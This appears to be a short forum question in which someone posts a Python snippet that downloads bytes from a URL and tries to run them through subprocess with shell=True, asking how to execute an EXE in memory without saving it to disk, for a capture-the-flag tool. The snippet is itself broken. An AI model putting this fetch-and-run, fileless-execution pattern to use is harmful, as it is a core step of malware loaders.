exe = requests.get(url).content
run_exe = subprocess.run(exe, shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
print(run_exe.stdout.decode(encoding='utf-8', errors='ignore'))
So I know that it is not that simple to execute this but,
it is the basic concept
I am trying to run an EXE file that has been loaded into memory without saving it to the disk.
it is part of the CTF tool that I have building